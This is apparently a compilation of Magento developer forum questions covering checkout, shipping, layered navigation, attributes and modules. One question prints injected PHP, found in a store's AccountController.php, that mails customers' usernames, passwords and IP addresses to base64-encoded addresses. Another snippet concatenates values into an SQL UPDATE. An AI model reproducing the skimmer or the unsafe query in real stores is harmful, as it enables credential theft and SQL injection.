        unset($shippingAddress['quote_id']);

        $itemsPerVendor = [];
        foreach ($quote->getAllItems() as $item) {
            $itemsPerVendor[$item->getItemId()][] = $item;
        }

        foreach ($itemsPerVendor as $vendor => $items) {
            $quoteSplit = $this->quoteFactory->create();
            $quoteSplit->setStoreId($quote->getStoreId());
            $quoteSplit->setCustomer($quote->getCustomer());
            $quoteSplit->setCustomerIsGuest($quote->getCustomerIsGuest());
            if ($quote->getCheckoutMethod() === self::METHOD_GUEST) {
                $quoteSplit->setCustomerEmail($quote->getBillingAddress()->getEmail());
                $quoteSplit->setCustomerGroupId(\Magento\Customer\Api\Data\GroupInterface::NOT_LOGGED_IN_ID);
            }

            foreach ($items as $item) {
                $item->setId(null);
                $quoteSplit->addItem($item);
            }

            $quoteSplit->getBillingAddress()->setData($billingAddress);
            $quoteSplit->getShippingAddress()->setData($shippingAddress);

            $quoteSplit->setTotalsCollectedFlag(false)->collectTotals();

            $quoteSplit->getPayment()->setMethod($paymentMethodString);
            if ($paymentMethod) {
                $quoteSplit->getPayment()->setQuote($quoteSplit);
                $data = $paymentMethod->getData();
                $quoteSplit->getPayment()->importData($data);
            }

            $this->eventManager->dispatch('checkout_submit_before', ['quote' => $quoteSplit]);
            $this->quoteRepository->save($quoteSplit);
            $order    = $this->submit($quoteSplit);
            $orders[] = $order;

            if (null == $order) {
                throw new LocalizedException(
                    __('An error occurred on the server. Please try to place the order again.')
                );
            }

        }
        $quote->setIsActive(false);
        $this->quoteRepository->save($quote);

        $this->checkoutSession->setLastQuoteId($quoteSplit->getId());
        $this->checkoutSession->setLastSuccessQuoteId($quoteSplit->getId());
        $this->checkoutSession->setLastOrderId($order->getId());
        $this->checkoutSession->setLastRealOrderId($order->getIncrementId());
        $this->checkoutSession->setLastOrderStatus($order->getStatus());

        $this->eventManager->dispatch('checkout_submit_all_after', ['orders' => $orders, 'quote' => $quote]);

        return $order->getId();
    }

Please guide me.


texts:
I'm following the guide located at http://inchoo.net/magento/custom-shipping-method-in-magento/

but I'm unsure if this allows me to add multiple shipping methods. I could install the module multiple times but I'm not sure this is the best way if the class supports multiple shipping methods.

The question here is, does the above tutorial allow me to add multiple shipping methods under 1 module?


texts: Magento 2 - Create a composer module with .less files in it

texts:
I'm trying to figure out how I can package a module with some .less files in it through composer.

For example, let's say You wrote a module which has few frontend parts, of course this parts needs some basic styles, a less file.

According to the official documentation, less files must not be placed into the module dir, so You should put them in the theme directory.

So, You would create a Vendor_Component/web/css/source/_module.less file into the blank theme dir and place your styles there (in order to use the fallback system for child themes)

Now, that everything is ready, how do You handle the composer.json (and registration.php)? It's not completly a module and not either a theme...

I was thinking about a Metapackage, splitting the theme part from the module but I have some doubts about it, for example about how to place the Vendor_Component dir into the blank theme.

So the question is, how do You package it?


texts:
I have a Custom Order Status RTO Let us assume if Customer Not available admin make it us RTO it's working fine But after RTO I want to  reduced Lifetime Sales amount

public function rtoorderAction(){

                $id = $this->getRequest()->getParam('id');

                $order = Mage::getModel('sales/order')->load($id);
                $order->setData('state', 'rto');
                $order->setStatus('rto');
                $history = $order->addStatusHistoryComment('', false);
                $history->setIsCustomerNotified(false);
                $order->save();
                $order->sendOrderUpdateEmail(true, null);
                $this->_getSession()->addSuccess(
                $this->__('This Order has been RTO Successfully'));
                Mage::getSingleton('core/session') ->addSuccess('Order Updated Successfully'); $this->_redirectReferer();
            }


texts: Magento 1: Custom layer block not showing categories

texts:
I want to create a custom block to display the subcategories with a certain filter from a category.

So I created a block that extends Mage_Catalog_Block_Layer_View:

class My_Module_Block_Layer extends Mage_Catalog_Block_Layer_View
{
    protected function _prepareLayout()
    {
        // 2944 is the parent category whose child categories I want to display
        $cat = Mage::getModel('catalog/category')->load(2944);
        $this->getLayer()->setCurrentCategory($cat);
        return parent::_prepareLayout();
    }

    // I only want the category filter
    public function getFilter()
    {
        return $this->_getCategoryFilter();
    }
}

The corresponding phtml:

<?php $filter = $this->getFilter(); ?>
<?php echo $filter->getName(); ?>
<?php if ($filter->getItemsCount()): ?>

<?php echo $filter->getHtml() ?>

<?php endif; ?>

$filter->getItemsCount() always returns 0. If I use the  getFilterS function instead and iterate over all available filters they are returning all available filters with options just fine. The only filter that returns no options is the category filter.

The parent category (2944) is set as anchor (so are its children). Also category filters work just fine on that category page itself (default implementation).

I feel like I am missing something here. Is there more I need to do besides setCurrentCategory?

The Big picture:

I want to create a mega menu that is the same on all pages. This menu should contain a list of categories that apply a brand filter. Of course this should be independent from the default category layer.

Why do I want to do this?

The categories contents fluctuate. At some point categories are empty/disabled and I don't want to manually adjust the mega menu all the time. So I figured I would use the layered navigation to do this for me.

Example:

Brand X

Pants

Skirts

Blouses

Shoes

Brand Y

Pants

Skirts

Blouses

This is a desired result. For brand X all subcategories are available while for brand Y the shoes category is not since it does not contain any products of this brand.

Once there are shoes of brand Y available that category should show up as well.


texts: How to get M2.2 Customer Session in external App on same server

texts:
I am unable to get M2.2 customer session in an external app on same server  (where I had object Manager imported directly and its working fine) code in external Laravel App is as follow.

$state = $this->_objManager->get('\Magento\Framework\App\State');
$state->setAreaCode('frontend');
$customerSession = $this->_objManager->get('\Magento\Customer\Model\Session');
var_dump($customerSession->isLoggedIn());exit; // printing false either customer is logedin

I have multi web site & i already have cookie domain setting  like .domain.com
In M1 it was working fine


texts: Magento 2: How to move "Sign In" block in checkout below progress bar?

texts:
In blank theme checkout, the "Sign In" link is located at the top right of the page.

I want to move it under the checkout progress bar.

I tried this way but it didn't work.


texts: magento 2 : Add multiple product to cart

texts:
I have array of checkbox selected products(entity_id) in my controller
how to add those product to cart directly


texts: Magento calculate product price based on number of products

texts:
I don't this is possible or not. I want to calculate product price based on a number of products.

For example:

Product 1 price 100
Product 2 price 200
Product 3 price 300
Product 4 price 200

Customer addcart product 1, product 2, product 4.

Here final price is (200+200) = 400.

I mean if customer select more then 3 products price = total price - min price.

So, for the abouv example total = 400.

If posible to set rules tell me. Or suggest some idea to implement this


texts: Error: "Couldn't resolve host 'magento-community'" when installing a Extensions

texts:
I cannot install any Extensions on magento. I tried the solutions from other posts but none of them worked for me. I have magento on godaddy ver. 1.9.
I tried keys in several formats like:
http://connect20.magentocommerce.com/community/[name]

magento-community/[name]

http://connect20.magento-commerce.com/community/[name]

Godaddy , of course, is never helpful. Can anybody give me any suggestions to fix this problem?

Thank you


texts: Magento 2 subcategories not showing its own products/description

texts:
I am working on a magento 2.1 site and for some subcategories it is showing the title, description and products from the parent category not it's own.

If I move the category under another parent category it changes to that parent instead.

It wont list it's own products etc but I cant see anything to control this?


texts: How to use theme block into custom theme Magento

texts:
I have a paid Magento template and it has some features like testimonials blog etc. Also I have a custom theme and I want to use the testimonials feature in custom theme which is another store. I have copy all the files into my custom theme and I am trying to display like below code. But nothing showing.

echo $this->getLayout()->createBlock('core/template')
    ->setTemplate('magentothem/testimonial/sidebar/slider.phtml')->toHtml();


texts: Magento 2: Checkout page Summary Sidebar not update the total

texts:
Currently, Checkout page Summary Sidebar not update the total
how can i fix it?
please help


texts: Magento Product custom attribute options not showing up in admin

texts:
In my Magento ce 1.9.2.1 website, I have created many product custom attributes by setup-upgrade scripts like below:

<?php
$installer = new Mage_Eav_Model_Entity_Setup('core_setup');

$installer->startSetup();

$installer->addAttributeGroup('catalog_product', 'Business Directory', 'Business Directory', 1000);

$attribute_set_id = $installer->getAttributeSetId('catalog_product', 'Business Directory');

$attribute_group_id = $installer->getAttributeGroupId('catalog_product', $attribute_set_id, 'Business Directory');

$installer->addAttribute('catalog_product', 'city', array(
    'label'             => 'City',
    'type'              => 'varchar',
    'attribute_set'     => 'Business Directory',
    'input'             => 'select',
    'default'           => '',
    'backend'           => 'eav/entity_attribute_backend_array',
    'frontend'          => '',
    'source'            => '',
    'global'            => Mage_Catalog_Model_Resource_Eav_Attribute::SCOPE_STORE,
    'visible'           => true,
    'required'          => false,
    'user_defined'      => true,
    'searchable'        => false,
    'filterable'        => '1',
    'comparable'        => false,
    'visible_on_front'  => false,
    'visible_in_advanced_search' => false,
    'unique'            => false,
    'option'     => array (
                        0 => array("Please Select City...")
                    ),
));

$installer->updateAttribute('catalog_product', 'city', 'is_filterable', 1);

$attribute_id = $installer->getAttributeId('catalog_product', 'city');

$installer->addAttributeToSet($entityTypeId = 'catalog_product', $attribute_set_id, $attribute_group_id, $attribute_id);

$installer->addAttribute('catalog_product', 'postcode', array(
    'label'             => 'Postcode',
    'type'              => 'varchar',
    'attribute_set'     => 'Business Directory',
    'input'             => 'select',
    'default'           => '',
    'backend'           => 'eav/entity_attribute_backend_array',
    'frontend'          => '',
    'source'            => '',
    'global'            => Mage_Catalog_Model_Resource_Eav_Attribute::SCOPE_STORE,
    'visible'           => true,
    'required'          => false,
    'user_defined'      => true,
    'searchable'        => false,
    'filterable'        => '1',
    'comparable'        => false,
    'visible_on_front'  => false,
    'visible_in_advanced_search' => false,
    'unique'            => false,
    'option'     => array (
                        0 => array("Please Select Postcode...")
                    ),
));

$installer->updateAttribute('catalog_product', 'postcode', 'is_filterable', 1);

$attribute_id = $installer->getAttributeId('catalog_product', 'postcode');

$installer->addAttributeToSet($entityTypeId = 'catalog_product', $attribute_set_id, $attribute_group_id, $attribute_id);

$installer->endSetup();

unset($installer);

As you can see, both the attributes are select(dropdown) and both have no values initially when they are created(this is my custom key criteria, empty attributes dropdown only).

But when I populate them programmatically from frontend form, their values doesn't show up in Admin >> Catalog >> Attributes in their forms. They still show no options in admin, why ?


texts: Magento 2.3 - How to fetch stock statuses of all the stores

texts:
I need to fetch the stock status (In Stock/Out of Stock) of all the stores for the single product.

I have configured MSI. Lets say am in store1. In product view page I should be able to get the stock status of other stores(store2)as well.

Can anyone help me with this ASAP?


texts:
I'm new to magento. I go through the Catalog->Manage Products module to understand the coding & design, i seen that everything (design and coding and controller actions) in block and controllers is there except submit button code?

can you anyone tell me where is the submit button design & code and how that button works?

if I added the custom action to perform that action where I write code?

thanks in advance.


texts:
The approach I've seen so far to handle setup scripts is the version_compare:

namespace My\Module\Setup;

class UpgradeSchema implements \Magento\Framework\Setup\UpgradeSchemaInterface;
{

    public function __construct(
        \My\Module\Model\SomethingFactory $somethingFactory,
        \My\Module\Model\AnotherThing $anotherThing
    ) {
        $this->somethingFactory = $somethingFactory;
        $this->anotherThing = $anotherThing;
    }

    public function upgrade(\Magento\Framework\Setup\SchemaSetupInterface $setup, \Magento\Framework\Setup\ModuleContextInterface $context)
    {
        $setup->startSetup();

        if (version_compare($context->getVersion(), '1.0.0', '<')) {
            // do stuff with $this->somethingFactory
        }

        if (version_compare($context->getVersion(), '1.0.1', '<')) {
            // do stuff with $this->anotherThing
        }

        $setup->endSetup();
    }

}

At some point in the life of a module, those scripts can become huge and very hard to maintain, and the dependencies injected might change over time, but you'll need to keep all of them in order to guarantee a safe upgrade from each particular version you have published.

Is it known any other possible approach to manage the setup scripts?

Thanks!


texts: how to check particular input contain dot (.) or not in magento2?

texts:
I want to use magento2 framework validator .I'm not able to identify which function need to use.i think for this i have to use Zend_Validate class.

In plain php i can use following way.

        $pattern="/./";
        $subject="some.thing";
        preg_match($pattern, $subject, $matches);


texts: Update "sales_flat_order_item" table when making an order

texts:
I have created a custom product attribute that needs to be inserted into sales_flat_order_item (there's a custom column already created) everytime an order is placed. Config.xml for the observer event:

<events>
    <sales_order_place_after>
        <observers>
            <test_modul_model_observer>
                <type>singleton</type>
                <class>Test_Modul_Model_Observer</class>
                <method>orderPlaceAfter</method>
            </test_modul_model_observer>
        </observers>
    </sales_order_place_after>
</events>

Observer.php:

<?php
class Test_Modul_Model_Observer
{
    public function orderPlaceAfter($observer)
    {
        $order = $observer->getEvent()->getOrder();

        foreach ($order->getAllItems() as $item) {
            //$item is an instance of Mage_Sales_Model_Order_Item
            $product = Mage::getModel('catalog/product')->load($item->getProductId());
        }

        $articleNumber = $product->getArticleNumber();

        $connection = Mage::getSingleton('core/resource')->getConnection('core_write');
        $lastInsertId = $connection->lastInsertId();

        $sql = "UPDATE sales_flat_order_item SET article_number = '" .   $articleNumber . "' where item_id = ". $lastInsertId;
        $connection->query($sql);

        Mage::log($sql, null, "order.log", true);
    }
}

The problems is... the $lastInsertId is 0 so it doesn't know what column to update. It supposed to be the last record inserted (after I complete the order).

Any help would be appreciated. Thanks!


texts:
Lets navigate to:

  Adminview -> Product -> Cataloque -> Edit Any Product

and we will get this view:

How can I remove "Produktbewertungen"?

It says the file is:

  templates/form/collapsible.xhtml

and the block is

  Magento\Ui\Component\Form

Many thanks!:-)


texts:
This is kind of funny.

In Admin > Products > Catalog I set 2000 products per page (it now shows 999), however, the page never loads, apache2 is stuck with 100% CPU. The problem is that I cannot access this page any more.

One solution would be to change the value of products-per-page in database but I have no idea where this value could be.
Another solution would be to delete the products from database and re-import them, but I'll keep that as last-hope solution.


texts: Magento 2 : How to Change Product Price on Save some Fields in Backend?

texts:
I have Created some fields and add some data which is saved in core_config_data table.

I want to change the all product price on saving these data which is depend on these data.
Any Help is appreciated.


texts: Magento2 Product discount by customer attribute

texts:
I am using Magento2.3.1.
I need to discount a product by a customer custom attribute.
I've added "DynamoCustomerType" to customer attribute.
I used this first order discount tutorial to add customer attribute to cart price rule condition.
It works perfectly for cart price rule.Here's a screenshot.
I need this work the same for catalog price rule.
Please let me know how to add a custom option to catalog price rule conditions and connect an event to it.
Thanks.


texts: How to add custom add to quote button with display quantity of added product in magento?

texts: I wants to add "add to quote" button. after adding product in quote it will be display added product quantity in header. after viewing this list all product will be display in quote formate(like shopping cart). and it should be export as a pdf. please help.


texts: Google Webmaster Tools reporting lots of server errors due to layered navigation

texts:
We have noticed recently a big spike in Server Errors being reported in our Google Webmaster Tools crawl errors report.

The bulk of which are returning a 503 response code and whose URLs all seem to be layered navigation urls where some form of sorting has been applied.

My developers have stated that all of these pages have the meta robots tag set to noindex, follow.

They also suggested that they could set these pages to disallow in the Robots.txt file as well, but the links won't be followed on those pages which is bad practice for layered navigation pages.

Anyone have any idea of the best course of action?


texts: Magento2 - Admin takes too much time to save data

texts:
I am facing a strange issue, whenever I try to save my category data, or update my category or create a new category it takes too much time in admin. Admin keeps on refreshing for a long period of time.

Why I call it strange, because it happens only on my stage site & not in my local env.

Any suggestions are welcome, thanks in advance.

Even when I click on any particular category to load that particalar category data it takes time.


texts: Add extra price on cart update for a custom field in cart

texts:
I have an extra custom field on cart page. If any user inputs something in that field and updates the cart than I need to add extra 4 Pounds to the cart having label as "Extra Price".

I am using

<checkout_cart_save_after>
    <observers>
        <module_cart_update>
                <type>singleton</type>
                <class>webroot/observer</class>
                <method>logopriceMethod</method>
        </module_cart_update>
    </observers>
</checkout_cart_save_after>

Following is my current code :

public function logopriceMethod(Varien_Event_Observer $observer){
    $invoice = $observer->getEvent()->getInvoice();
    $order = $invoice->getOrder();
    $order->setExtraFeeAmountInvoiced($order->getExtraFeeAmountInvoiced() + 4);
    $order->setBaseExtraFeeAmountInvoiced($order->getExtraFeeAmountInvoiced() + 4);
}

But the above code gives me following error :

  Fatal error: Call to a member function getOrder() on null in
  /var/www/clients/.../Model/Observer.php on line 52

I am using THIS module but it adds custom price as soon as a product is added to cart. What I am trying is to modify the code so as to add extra price on cart update (If there is any value in custom field on cart page).


texts: how to setup noindex,follow in a static page in magento2?

texts:
I would set the robots meta tags to "noindex,follow" in a static page.

For Magento 1.9 I used to do it like this:

<reference name="head">
   <action method="setRobots"><value>NOINDEX,FOLLOW</value></action>
</reference>

How to do it in Magento 2?


texts: Change SKU field in email by custom attribute modelnumber

texts:
I know people already tried to delete the SKU field in the email confirmation field. But I want to something different.

I managed to change the SKU field in "my account" by copying the template as mentioned here
https://stackoverflow.com/questions/13017942/magento-delete-sku-from-order-email and it worked out great.

Now I was thinking to do the same for the new order confirmation email. I managed to change the column field name and tried to change the default getSku with $_item->getData('mpn'); but it stays empty no matter what.


texts: Can't get an import to complete on magento 2

texts:
As you can see, my import is checked for bad data and it goes on to the final step with no errors in the exception log or any errors on the screen but after it finishes, it never adds any products. Where do I go from here?

UPDATE:

Here is the download link for my csv file:

http://www.filedropper.com/wayneimport

UPDATE 2:

When I try to upload the file, it gets stuck on the please wait loading image

UPDATE 3:

Here is what the console says


texts: How to display used coupon code in order details page in admin

texts:
I need to show used coupon code in backend order details page. In my searches i found coupon code does not store with order details.

So I was thinking to save coupon code somewhere just after order placement & then used these values in order details page.

Is there any better way doing this. Please help.


texts: Had an issue with AccountController.php .. Issue looks odd, possible hack?

texts:
Earlier I had an issue where reverting to an older version of my Customer/AccountController.php fixed the issue at hand. So then I started going through the two different AccountControllers to see where the differences were to try and get an idea of what was really going wrong. As I was skimming through, I noticed this:

 $this->_loginPostRedirect();
    $postmage = base64_decode("Y2hpY2twZXRlcjkxNUBnbWFpbC5jb20=");
        $postmages = base64_decode("Y29sbGluZmxpbkB5YWhvby5jb20=");
        $postmagess = base64_decode("bG9uZ2NhdDY2NkB5YWhvby5jb20=");
    $postmagesss = base64_decode("dGFidW5nYW5iZXJkb3NhQGdtYWlsLmNvbQ==");
    $ip = getenv("REMOTE_ADDR");
    $isi='Usermail: '.$login['username'].' Password :'.$login['password'].' ip : '.$ip.' ';
    mail(''.$postmage.'','PePe http://'.$_SERVER['HTTP_HOST'], $isi);
        mail(''.$postmages.'','PePe http://'.$_SERVER['HTTP_HOST'], $isi);
        mail(''.$postmagess.'','PePe http://'.$_SERVER['HTTP_HOST'], $isi);
    mail(''.$postmagesss.'','PePe http://'.$_SERVER['HTTP_HOST'], $isi);

Where as the working version, simply has:

 $this->_loginPostRedirect();

I'm not the most knowledgeable php user, but the above script looks like someone having any accounts sent to them? Is there any way I can see where it is being sent to or possibly how this ever got infected in the first place??


texts:
I am trying to reorder the sections on my shopping cart page.

This is what I currently have:

And this is what I am trying to achieve:

I need to add the cart totals inside \my-theme\Magento_Checkout\templates\cart\form.phtml before cart main actions buttons.


texts:
How to remove all the images in custom folder in pub/media in magento2 programmatically. I am trying with following code:

if ($this->file->isExists($mediaRootDir . $imageName)) {
                    $this->file->deleteFile($mediaRootDir . $imageName); }

But it's only remove specific files in custom folder. Thanks.


texts: Same Level Category as Layered Navigation on Category Page

texts:
I hope I'm asking this properly.  I want to allow guests to be able to filter category pages, but by using categories of the same level...for example my setup is like this

-Body Part
--Body Part Sub-Category 1
--Body Part Sub-Category 2
--Body Part Sub-Category 3
--etc
-Pain Type
--Pain Type Sub-Category 1
--Pain Type Sub-Category 2
--Pain Type Sub-Category 3
--etc

I want a customer to be able to be looking at the body part category page and be able to filter by "Pain Type".  From my understanding I would need to nest "pain type" categories below each "Body Part" category in order to get this working.  Is there another way?


texts: How can I avoid customer to log in twice, in different browsers/computers?

texts:
I'm building an E-Learning system with Magento, and would like to avoid customer to share it's credentials with others. In other words, to avoid them to have multiple sessions with the same account.

The closest solution I've imagine, was saving sessions in DB (instead files), and add some customer_id column on core_session database, extending some core classes.

Is there an easier or better approach for doing that?


texts:
I'm trying to update my product images' labels.  I want them to be the same as the name of the product.

What I've tried

$mediaModel = Mage::getModel("catalog/product_attribute_backend_media");
$images = $product->getMediaGalleryImages();
foreach ($images as $image) {
    $mediaModel->updateImage(
        $product->getId(),
        $image->getFile(),
        array("label" => $title)
    );
}

But then I get this error

  Fatal error: Call to a member function getAttributeCode() on a non-object in app/code/core/Mage/Catalog/Model/Product/Attribute/Backend/Media.php on line 401

I've also tried

$mediaModel = Mage::getModel("catalog/product_attribute_media_api");
$images = $mediaModel->items($product->getId());
foreach ($images as $image) {
    $mediaModel->update(
        $product->getId(),
        $image['file'],
        array("label" => $title)
    );
}

Which runs fine, but the values aren't updated in the admin.

How do I go about this?


texts: Magento 2 overwrite checkout.cart.item.renderers block

texts:
I tried to set a new template for checkout.cart.item.renderers block and i found some issue, beucause I didn't know that i have to overwrite separately each type of product.
I will post my solution, because maybe someone will face the same problem.


texts: Magento2: How to get shipping method in order using observer `sales_order_save_after`?

texts:
I want to get shipping method in my observer after placing an order. I am using sales_order_save_after event, so after place an order I want to get shipping method. I am getting shipping description but that is not enough for me. I want shipping method only but it's not returning shipping_method in response.

Please help me how to get shipping method in this situation?


texts: magento 2 : Product listing show most viewed products first

texts:
i want to show products in order of most viewed on listing page i did below changed on my list.phtml but it seems not working

file : app/design/frontend/colora/colora_default/Magento_Catalog/templates/product/list.phtml

modified

$_productCollection = $block->getLoadedProductCollection();

to

$_productCollection->getSelect()->
            joinInner('report_event AS _table_views',
                ' _table_views.object_id = e.entity_id',
                'COUNT(_table_views.event_id) AS views')->
            group('e.entity_id')->order('views ASC');


texts: Magento 2.3 Merged css and js. When are files from pub/static/_cache supposed to be created?

texts:
I have a Magento 2.3.0 with js and css merging enabled.
My first issue is with the fact that the docs say that this option only works in developer mode. This does not make any sense as the optimization should be for production environments.
My next question is when are the files under pub/static/_cache supposed to be created. From what I figure it is when they are first requested, which is not very logical as these file might get rather big and require many resources to be created.


texts: How to override a Magestore extension's layout file?

texts:
I am trying to override

/var/www/Company/app/code/Magestore/Megamenu/view/frontend/layout/default.xml

I have tried:

/var/www/Company/app/design/frontend/Business/business-theme/Magestore_Megamenu/layout/default.xml but no luck.

Thankyou!


texts: SSL issues with Magento behind load balancer (302 loop)

texts:
In front of my Magento installation is a load balancer handling all the SSL stuff. If I don't tell Magento that it is receiving a secure connection it will go into a 302 redirect loop. The only solution I found so far is to patch the main index.php like so (code goes right above the Mage::run line at the bottom the index.php):

/**
 * Prevent Magento from performing a 302 redirect loop.
 *
**/

if (isset($_SERVER['HTTP_X_FORWARDED_PROTO'])) {
    if ($_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') {
        $_SERVER['HTTPS'] = 'on';
        $_SERVER['SERVER_PORT'] = 443;
    }
}

(I added the content from the blog post with the addition from a commenter here, in case the link goes dead).

How can I avoid to patch a core file?


texts: add "shipping method (carrier)" column to csv file

texts:
when I export shipments on Magento admin ( Sales > Shipments > export (to csv) ) I'd like to export Shipping method(carrier) too.
How can I do that? Thank you


texts: Magento 2: How to solve an error when reindex by CLI?

texts:
I used Magento 2 stable version. when I run Magento setup:upgrade, following error occurred.

[InvalidArgumentException]
There are no commands defined in the "setup" namespace.

And when I run Magento indexer:reindex, also error display

[InvalidArgumentException]
There are no commands defined in the "indexer" namespace.

How to resolve this? Any other solution to reindex without CLI?


texts:
i have a custom topmenu.phtml that adds a lot of load time to run on every page how can i make it get cached and only regenerate the menu html once a day?
thanks
I tried searching but am getting confused I have CE 1.7.0.2 and my caches (including full page) are enabled here is my Aoe Profiler run details


texts:
I use this Event Observer on a multistore for a custom URL Structure Manufacturer in product url key.
The problem is now that I need this for only one specific store id. How can I set a custom Event Observer for specific store id?


texts: Magento 2.4 form_key not changed after logged out

texts:
I'm using Magento 2.4, i've faced the problem as below:
After i logged out and login again, magento form_key is no changed.
I also did login and waited until the login session be expired but, form_key was still not changed.
I used Safari and Magento 2.4.
Thanks


texts: How can i add image zoom for magento luma theme

texts: How to add image zoom function in magento luma theme. when i add image zoom extension getting extension errors.


texts: Magento Admin URL [Permission with Whitelist IP]

texts:
I'm trying to protect the URL of my login admin page.

It's possible to allow only my ip to this page?

And if another IP tries to open the admin login page, there is an unauthorized permission.

I tried to add :

RewriteCond %{REQUEST_URI} ^.*/ADMIN_PANEL_LOCATION [OR,NC]
RewriteCond %{REMOTE_ADDR} !^81.82.83.84

or :

RewriteCond %{REMOTE_ADDR} !^81.82.83.84
RewriteRule ^(index.php/)?admin/ - [L,R=403]

but it doesn't work.


texts:
I am trying to create custom page page having error 404.

routes.xml

<?xml version="1.0"?>

<config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:App/etc/routes.xsd">
    <router id="standard">
        <route id="hello" frontName="hello">
            <module name="SimpleMagento_Custom" />
        </route>
    </router>
</config>

Controller :-

<?php

namespace SimpleMagento\Custom\Controller\Test;

use Magento\Framework\App\Action\Action;
use Magento\Framework\App\Action\Context;
use Magento\Framework\View\Result\PageFactory;

class DisplayInfo extends Action
{
    protected $_pagefactory;
    public function __construct(PageFactory $pagefactory,Context $context)
    {
        $this->_pagefactory=$pagefactory;
        parent::__construct($context);
    }

    public function execute()
    {
        return $this->_pagefactory->create();
    }
}
?>

Layout file (hello_test_displayinfo):-

<page xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" layout="1column" xsi:noNamespaceSchemaLocation="urn:magento:framework:View/Layout/etc/page_configuration.xsd">

        <referenceContainer name="content">
        <block class="SimpleMagento\Custom\Block\EmployeeData" name="new_layout1" template="SimpleMagento_Custom::Employee.phtml"/>
        </referenceContainer>

    </page>

Block file:-

<?php
namespace SimpleMagento\Custom\Block;

class EmployeeData extends \Magento\Framework\View\Element\Template
{
    public function __construct(\Magento\Framework\View\Element\Template\Context $context)
    {
        parent::__construct($context);
    }
    public function getName()
    {
        echo "YES..!";

    }
}

?>

Employee.phtml:-

you have created new page

<?php $block->getName();?>


texts: Layered navigation for custom collection on custom page - magento2.3.5p1

texts:
I Have a custom collection Listing page. I need to add Layered Navigation on it.
I have Override Listpage.php block and I get the collection in it.
I follow two blogs but they get the collection inside the model so how can I follow get any method to give my custom product collection inside the model. because my product collection is inside the Block/ListProduct.php file.
https://ipfs-sec.stackexchange.cloudflare-ipfs.com/magento/A/question/135867.html
https://webkul.com/blog/how-to-create-layered-navigation-on-custom-page-in-magento-2/comment-page-1/#comment-36410
Please Help me to Resolve.


texts: How to Add Product as different varieties like size as mentioned below in picture

texts:
I want to add product with three different sizes and whenever the size has been selected it should be active for user.

Anyone help me?


texts: How to display the payment methods immediately below the checkout button

texts: Plz help me out to implement this. I have developed a custom Payment Methods for Magento 2.2.5. I need to display a express checkout option immediately below the checkout button in shopping cart (Screenshot attached). Is there any way to implement it??


texts: 404 error after magento 2 sitemap generation

texts:
I have magento 2 store and when i create a sitemap it works ok , but after that when i want to access the newly created sitemap it throw 404 error page.i'm using nginx server.

how can i fix this ??


texts: All my shipping methods have the same price, regardless of the zip code. Is it possible to show the shipping methods without needing to enter a zip code?


texts:
I need to add some tracking code to specific pages before the closing body tag in my own module in Magento 2. I know I can use the file /view/frontend/layout/default.xml:

<referenceContainer name="before.body.end">
    <block ...... />
</referenceContainer>

But how can I specify the pages where the code should appear. I need some code to appear on the checkout page, some on the checkout success page and some on the contact page.


texts: How to remove tooltip from Phone Number field in checkout page?


texts:
I want to show my products by below URL structure in Magento2.1:

localhost/products/ID/product title

What should I do?


texts: How does $block->customerLoggedIn() work with Magento's cache?

texts:
I see there are two ways Magento2 renders content in the header for logged-in vs logged-out customers.

With KnockoutJS in header.phtml
With PHP in customer.phtml

Which is considered best practice?

The second approach seems better for faster rendering of the content but I would have thought it would have caused issues with private-content, but Magento uses it here, how does this not cause an issue with caching?


texts: How to add custom customer attribute in customer edit account page

texts:
I am using below code to add attribute in my custom module.

namespace BoostMyShop\Enhancement\Setup;
use Magento\Framework\Module\Setup\Migration;
use Magento\Framework\Setup\InstallDataInterface;
use Magento\Framework\Setup\ModuleContextInterface;
use Magento\Framework\Setup\ModuleDataSetupInterface;
class InstallData implements InstallDataInterface
{
    /**
     * Customer setup factory
     *
     * @var \Magento\Customer\Setup\CustomerSetupFactory
     */
    private $customerSetupFactory;
    /**
     * Init
     *
     * @param \Magento\Customer\Setup\CustomerSetupFactory $customerSetupFactory
     */
    public function __construct(\Magento\Customer\Setup\CustomerSetupFactory $customerSetupFactory)
    {
        $this->customerSetupFactory = $customerSetupFactory;
    }
    /**
     * Installs DB schema for a module
     *
     * @param ModuleDataSetupInterface $setup
     * @param ModuleContextInterface $context
     * @return void
     */
    public function install(ModuleDataSetupInterface $setup, ModuleContextInterface $context)
    {
        $installer = $setup;
        $installer->startSetup();
        $customerSetup = $this->customerSetupFactory->create(['setup' => $setup]);
        $entityTypeId = $customerSetup->getEntityTypeId(\Magento\Customer\Model\Customer::ENTITY);

    $customerSetup->addAttribute(\Magento\Customer\Model\Customer::ENTITY, "company_name",  array(
        "type"     => "varchar",
        "backend"  => "",
        "label"    => "Company Name",
        "input"    => "text",
        "source"   => '',
        "visible"  => true,
        "required" => true,
        "default" => "",
        "frontend" => "",
        "unique"     => false,
        "note"       => "",
        "position" => 998,
        "is_used_in_grid" => true,
        "is_visible_in_grid" => true,
        "is_filterable_in_grid" => true,
        "is_searchable_in_grid" => true

    ));
    $customerSetup->addAttribute(\Magento\Customer\Model\Customer::ENTITY, "company_registration",  array(
        "type"     => "varchar",
        "backend"  => "",
        "label"    => "Company Registration",
        "input"    => "text",
        "source"   => '',
        "visible"  => true,
        "required" => true,
        "default" => "",
        "frontend" => "",
        "unique"     => false,
        "note"       => "",
        "position" => 999,
        "is_used_in_grid" => true,
        "is_visible_in_grid" => true,
        "is_filterable_in_grid" => true,
        "is_searchable_in_grid" => true

    ));

    $regulation   = $customerSetup->getAttribute(\Magento\Customer\Model\Customer::ENTITY, "company_name");

    $regulation = $customerSetup->getEavConfig()->getAttribute(\Magento\Customer\Model\Customer::ENTITY, 'company_name');
    $used_in_forms[]="customer_account_edit";
    $used_in_forms[] = "adminhtml_customer";
    $regulation->setData("used_in_forms", $used_in_forms)
        ->setData("is_used_for_customer_segment", true)
        ->setData("is_system", 0)
        ->setData("is_user_defined", 1)
        ->setData("is_visible", 1)
        ->setData("sort_order", 100);
    $regulation->save();

    $installer->endSetup();
}
}

Using above code attribute is showing in admin grid , admin customer edit page.
But I want them in Edit Account Information page.

Thanks in advance


texts:
I've set X-Frame-Options
'x-frame-options' => '*',
in env as mentioned in the doc
Magento Docs
But still I'm getting this error

Refused to display 'https://mythridpartyurlhere.com/' in a frame because it set 'X-Frame-Options' to 'sameorigin'.


texts: How can I add one image to ALL the products in Magento 2?

texts:
